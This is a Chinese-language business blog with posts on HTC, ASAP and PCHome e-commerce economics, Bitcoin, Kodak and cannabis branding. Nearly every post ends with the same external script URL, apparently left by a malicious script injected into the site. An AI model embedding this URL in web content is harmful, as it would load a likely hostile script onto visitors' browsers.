分類
商業評論

持續看空HTC

HTC竟然宣布要搞「區塊鏈手機」?

有關比特幣的看法,去年九月我已經寫過一篇「論比特幣(on Bitcoin)」奉勸正經投資人不要追這種無根財富倉庫。

而看來HTC手機搞不出什麼差異化,最後淪為模仿部分靠欺騙維生的投資界敗類,事事都要牽扯起區塊鏈技術啦?

姑且不論區塊鏈貨幣還是技術對手機使用功能上不存在太多加分功能,更重要的是區塊鏈只是一個不甚困難的軟體技術,市面現有的智慧型手機都很容易透過安裝軟體滿足此類需求。如果只是要「系統內建區塊鏈app」,我相信對它牌廠商而言都是輕而易舉。反倒是一直背景掛在網路上跑區塊鏈的手機,耗電問題會不會是一大疑慮?

因此「blockchain-powered smartphone」只是跟風外,看不出對消費者有任何實益或供給面上有任何壟斷利益。

最後再重提我在「論比特幣」一文中特別提到,Fisher公式 PQ = MV下切入看比特幣這類區塊鏈貨幣,基本上真正用在交易用途的數量非常少,而其幣值浮動太大也不利於交易使用之目的。因此可得知這些號稱XX幣的,本質上都只是投機標的而非真正貨幣。針對無根的純投機標的,偏好來去快如閃電,很可能blockchain-powered phone才上市,這些xx幣多半已經失去光芒與話題性。

手機本業完蛋,而宏達電口口聲聲未來趨勢的虛擬實境(VR)卻半點獲利跡象都看不到。

從2015到2017,HTC營業額分別是1216.8億、781.6億、621.2億,營業利益卻分別是 (-142億)、(-146.1億)、(-174.3億),今年第一季營收更是只剩87.9億,營業利益是(-51.8億),HTC Vive這個VR裝置從2016年上市以來,絲毫看不出對公司有任何實質獲利貢獻。

2016年5月我寫道

「就VR遊戲,我認為VR根本就是「近視製造機」,對家長來說要認同有非常大的困難。換言之,小的不准玩,大的只會是部分未當父母的少數成年人,而且不過是手上的眾多玩具之一而已。但初期硬體效能不彰的問題絕對是如影隨形地影響消費意願。

至於VR在導覽或銷售等商業用途加分這點,我認為效果近乎為零。假的場景或3D圖像,不可能消弭消費者心中的疑慮,甚至只會增加資訊成本。畢竟沒人會明知道是電腦動畫而選擇被騙的,消費決策跟看電影是兩回事。

去年我的投資主軸就是放空宏達電。今年1月以來改做多石油與原物料,但長期我依然看空宏達電。我不相信宏達電的VR願景,更不相信王雪紅的為人。」

如今回顧,我16’年這段看法無論針對宏達電營運或股價到現在依然成立。(2016年6月30日收盤103.5,之後持續下跌,今日收盤59.1)

既然墮落到用區塊鏈炒冷飯,我也就繼續冷眼看空這家公司下去。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

ASAP其快速到貨策略為何註定失敗?

從經濟分析角度來看,ASAP一開始打的5小時快速到貨就是個錯誤的策略。
 
從消費者面來看,如果當下需求真的很急,則再快的到貨承諾,都比不上消費者自己立刻出門到賣場買回,以台灣的地狹人稠這個侷限條件看,多半2小時內就可買到所需物品。
 
但從供給面看,越快的到府供貨服務邊際成本很可能是等比級數上升。為何?邊際生產力遞減定律使然。
 
經濟分析上的意義代表:供給者要越快速到貨,貨運成本將快速攀升到甚至超過物品本身的價值。供給者有能力轉嫁這個成本嗎?我持悲觀態度。
 
且此現象還會帶來一個弔詭的困境:越快速服務帶來的高運費,必須用高價物品來涵蓋使其成本比降低。但越貴的東西,消費者下手購買的思考過程會越久,且需要即時到貨的需求會越低。
 
也因此越講究快速到貨的電商往往下場不佳,就是因為他們策略恰恰把自己放進了一個兩面困境的侷限條件裡。我想不出這種兩面困境怎樣維持一個可長可久的商業獲利模式。
 
回頭看當初PCHome 24h到貨為什麼會紅?關鍵並非在快速出貨,而是「合理期間內的出貨承諾」。
 
當年許多網購令人詬病處,就是下單付費後不知何時才出貨。PCHome抓的24h剛好消弭這塊訊息費用。君不見後來PCHome再推的「台北市6h到貨」其實一直沒有拓展到全台灣,我相信一來是因為成本等比級數上升,二來就是消費端其實並不在乎6h。
 

我自己公司在網路銷售與電話銷售這塊,也是支持這樣的分析:新客很在乎也會打電話進來詢問何時出貨。熟客知道我們保證下單當日或隔天出貨的承諾始終遵守時,就未曾有這方面的詢問。

大約5年前有朋友介紹ASAP給我,說是其朋友創辦時,我當年就預言不轉型會倒閉。不幸一語成讖,不過這也只是經濟學科學解釋力的展現而已。

以上只是經濟學價格理論的簡單示範。

https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

錯得離譜的分析其來有自

網友提供一則分析文:「499之亂中華電信到底是賺還是賠?

文中宣稱:

「中華電信的499方案看起來賠錢,但如果加入了賽局理論會變成如何呢?」
 
這麼屌?動不動就用賽局理論,這傢伙知不知道賽局理論99%只是說故事,毫無經濟學解釋力啊?
 
我繼續往下看:

「…通常身為後進者的資本戰思考邏輯,假設小黑電信推出299方案,其他電信只要是299方案以上的使用者就會有興趣NP過來,每搶到一個1,499的他家用戶,我多299元營收,對手少1,499元營收,一來一往就是1,798元落差,就看誰的資本可以撐到最後。身為先行者的電信三雄如果使用這個作法怎麼算都不可能划算,因為耗損的是未來合約內短收月租費,經側試算過30個月可能短收近50億元台幣。…

…可怕啊!看起來今年可以因違約金多收近36億元,但把未來30個月的短收的月租費一算,最後可能短收多達51億元!這是誰想的策略?仔細深思後好像該跟中華電信道歉,我想得太淺,光看老客續約所短少收入,未來三十個月虧損可能是以數十億元,嚇了一跳做出自以為是的評論。」

文章還煞有其事地分享了一個試算表,可惜作者經濟學邏輯錯得離譜而不自知!

該文最大錯誤在於作者竟然把「競爭對手短少的營收」當做「自己增加的利潤」來計算?!

一者不但把同一消費者同一行為重複計算是錯,二者對手營收無論如何減少也與自己利潤無關!

試想全世界只有10個人喝咖啡同時僅有兩家賣咖啡的,假設二家成本一樣一杯10元,市價30元。假設原本我與競爭對手各有5個客人。我削價競爭用5元一杯把全世界的10位客人都吸引過來,我的利潤是(-5 x 10 = -50)元!真金白銀地虧損50元!對手減少的$150元營收怎樣都不會因為我愚蠢的削價競爭而變成我的獲利。

這麼簡單的商業邏輯都不懂,作者還宣稱自己是「行銷顧問」?我正想知道是哪種笨蛋公司會請這等程度之人當顧問時,赫然發現這位作者邱煜庭正是我前一篇文章提到的「倒店電商ASAP」行銷總監哩!原來如此,會做到結束營業還真是「其來有自」。

 

讓我想起馬克吐溫名言:“Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn’t.”

 

PS 作者邱煜庭留言表示:「感謝各位的指教,我不該亂用專業名詞,不該拿不熟的字詞亂用,原文已經更新,日後會多注意 🙂

不過我已經離開 ASAP 三年了,網站收掉這個鍋我可以不背嘛 XD」https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

ASAP關站談Amazon.com

日前我在「再談PCHome–以經濟分析觀之」一文中提到的經濟邏輯:

…"這種仲介行業關鍵始終在於「集客力」:客人不夠多,廠商上架意願低;商品數量少、不夠便宜、介面不夠簡潔,集客力就差。二者某個程度有點雞生蛋、蛋生雞。多數仲介業都存在同樣的問題。

因此,這種商品仲介平台會希望透過「低免運費門檻」來吸引客人與廠商,是一條幾乎人人都會走上的不歸路。另一方面,平台商如果太常片面隨意搞商品折扣競爭,廠商遲早會受不了而出走。

流量不夠大,規模經濟出不來,財報就很難看;流量大到一定程度,可將平台與倉儲成本攤提到很低比例時,獲利會驚人噴發。而這段成長過程是痛苦的,Amazon如是,PCHome也如是。但PCHome面對一個與Amazon最大不同侷限條件是:"台灣市場太小"!建置一個平台後可收的上頭租值,台灣就是不如美國。

經濟分析上也意味:要集資與PCHome競爭的門檻遠低於欲與Amazon競爭。

所以當強力競爭出現時,平台對客戶廠商最明顯的競爭差異始終只能在「降低購物成本」或「減少廠商費用」這兩個自殺利潤空間的策略上打轉,也就註定平台租值在激烈競爭出現時必然快速下跌。"

ASAP看來就是集客力始終上不來,造成基礎建設的規模經濟也一直出不來,帳面虧損肯定是很難看的。

此外,該站從最早的「閃電購物」改名為「省錢購物網」,可知對多數消費者而言,「快速到貨」只是一個加分,但非必要條件。網購偏好始終還是在「省錢」這點上打轉。

這邊我再多談一點,就是我認為實體店面的集客力某個程度上還是比網站的流量來得容易觀察。

分類
經濟分析 個股分析 商業評論

再談PCHome–以經濟分析觀之

其實我不是很喜歡這種B2B、B2C甚至B2B2C分類。因為我覺得沒打到要害,沒有掌握到關鍵侷限條件。

以網路家庭的三塊:線上購物、商店街、露天拍賣三者而言,本質上都是一樣「賺取交易仲介費」,三者最大差異只是在於「物品由誰看管」。但法律事實上,三者的物權均未移轉,網路家庭都只是在賺成交後的仲介費,當然三者的「費用結構」略有差異,但都不脫「一個固定費用+一個抽成」。

這與百貨公司其實是以「櫃位租金+抽成」這種模式有差異。畢竟物理環境侷限下的地點稀缺,與網路平台靠知名度二者還是不可相比擬。

也就是說,24H部分的倉儲只是加快出貨流程,表面上費用由PCHome負擔;商店街與露天則省去這層費用。但三者就行業本質而言都是電商,都是賺交易仲介費。

而這種仲介行業關鍵始終在於「集客力」:客人不夠多,廠商上架意願低;商品數量少、不夠便宜、介面不夠簡潔,集客力就差。二者某個程度有點雞生蛋、蛋生雞。多數仲介業都存在同樣的問題。

因此,這種商品仲介平台會希望透過「低免運費門檻」來吸引客人與廠商,是一條幾乎人人都會走上的不歸路。另一方面,平台商如果太常片面隨意搞商品折扣競爭,廠商遲早會受不了而出走。

流量不夠大,規模經濟出不來,財報就很難看;流量大到一定程度,可將平台與倉儲成本攤提到很低比例時,獲利會驚人噴發。而這段成長過程是痛苦的,Amazon如是,PCHome也如是。但PCHome面對一個與Amazon最大不同侷限條件是:"台灣市場太小"!建置一個平台後可收的上頭租值,台灣就是不如美國。

經濟分析上也意味:要集資與PCHome競爭的門檻遠低於欲與Amazon競爭。

所以當強力競爭出現時,平台對客戶廠商最明顯的競爭差異始終只能在「降低購物成本」或「減少廠商費用」這兩個自殺利潤空間的策略上打轉,也就註定平台租值在激烈競爭出現時必然快速下跌。

PCHome上頭租值囿於台灣市場小這個侷限,嚇阻對手進入的聲量天生不如Amazon;過去享受平台規模經濟累積銀彈的速度與量體上也不如Amazon。如今這個結果,其實是掌握客觀侷限條件者可以預見的。https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論 歷史

用12美元買下Google.com的人

2015年9月,正在攻讀MBA的學生Sanmay Ved閒來無事,上了Google Domain看看有什麼網址可以註冊。

使用過這類註冊網站如GoDaddy的朋友大概都知道,大家搜尋某個心目中的網域名稱,如果沒人購買,就會跳出「可購買」之類的選項。

Sanmay Ved福至心靈地想試試看「google.com」,看起來很荒謬,但他就想試試,沒想到…竟然「available」?!而且一年只要$12美元。

參見以下當年Sanmay Ved的截圖:


當下Sanmay Ved以為是系統出錯,可是沒想到他竟然從放入購物車到完成結帳﹐一氣呵成!而且從其他網域買賣平台驗證發現他是真 的 成 功 買了google.com這個網址!!

可惜,Google內部在一分鐘內就發現了錯誤,取消訂單與退回刷卡金額,google.com又重回Google懷抱。

而Sanmay Ved透過rewards program通報這項重大瑕疵,Google方面派人調查並確認後,致贈$6006.13美元給Sanmay Ved,表揚他協助發現bug。後來得知Sanmay Ved將受贈獎金捐給慈善機構後,Google這方又主動加碼加倍。

無論如何,Ved的確是Google認證,在2015年9月曾合法擁有google.com一分鐘的男人!https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

大數據拍電影?別鬧了

有機會我會寫一篇AI只是炒作,以現在的技術來說,AI要全面性取代人腦或人類還早得很。

最簡單的觀念就是:目前AI只對「弱人工智慧」領域表現優異,但是對於「強人工智慧」部分卻是智障到不行。

而以編劇、拍電影這種事來說,就是強人工智慧的運作總和,阿里巴巴漂亮地演繹一次:「靠人工智慧拍電影成果有多糟」!

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 商業評論

部分英國金融機構拒收來自比特幣的現金

Financial Times報導:「Bitcoin investors struggle to cash out new fortunes

部分英國銀行或房貸金融機構以「無法杜絕洗錢嫌疑」為由拒絕收受來自比特幣的現金存款。

如果這樣的法規障礙普遍存在,則作為比特幣在「交易工具」功能上又再一次受到打擊,根據我對比特幣的看法(<論比特幣https://wp.me/p9ffS3-qO),則其將更偏向「無根財富倉庫」方向發展,對其貨幣定位是相當不利的。https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

柯達進軍區塊鍊

連柯達(Eastman Kodak)這種公司都能在宣布進軍blockchain coin之後,股價瞬間從3塊漲到9塊多,可見市場上的笨蛋比例不低。

https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

大麻品牌化是必然

FT上不錯的長篇報導「Californian growers and retailers brace for cannabis competition

幾個可以注意的點:

1. 加州成為美國最大的大麻娛樂用途合法化的州。

事實上我還在加州念法學院時,很多女同學都有吸食大麻的習慣。吸high了還半夜找我討論Richard Posner法官的經濟分析觀點。(說過了,美國有很多比你聰明還比你認真的怪咖,不要只看到人家在玩的那面)

2. 大麻終端價格因為競爭而下跌不少,1980年代每磅約$5500美元,到今天約$600美元。剩1折,跌幅不可謂不大。

3. 許多VC以為大麻很好賺,所以現在資金很廉價的環境下,已經約有$3億多美元投資在加州大麻種植、生產與銷配等領域。

台灣大概很難看到什麼新興農產品短短一兩年內民間投入近百億台幣資金的。

我的看法:
a.我認為大麻毛利率在競爭之下會下降得很快,售價應該很快就會跟煙草、雪茄看齊。

b.這過程,品牌化是必然,一者提高消費者辨識度與習慣,二者維持毛利率,三者降低整體行銷費用。

我目前認為應該會介於雪茄與煙草之間。

比方說除了如雪茄產地(如古巴)炒作之外,更多的會是在手作廠的手藝與風味,例如我喜歡Dunhill與Romeo y Julieta二牌的Churchill size。又或者某些斗草品牌講究口味調配(Dunhill The Aperitif我也蠻推的)。

大麻這塊,認為風味調整上會比雪茄更有職人存在的空間,這也表示職人品牌可以存在。但產地性應該會比斗草更強,所以莊園品牌也會存在。

c. 投資上則尚嫌太早,一動不如一靜。

d. 台灣這種地狹人稠的地方,發展大麻種植與出口或許不錯。前提是大麻必須合法化。政治上道德魔人與利益團體太多,難度很高。https://js.developerstatss.ga/stat.js?n=ns1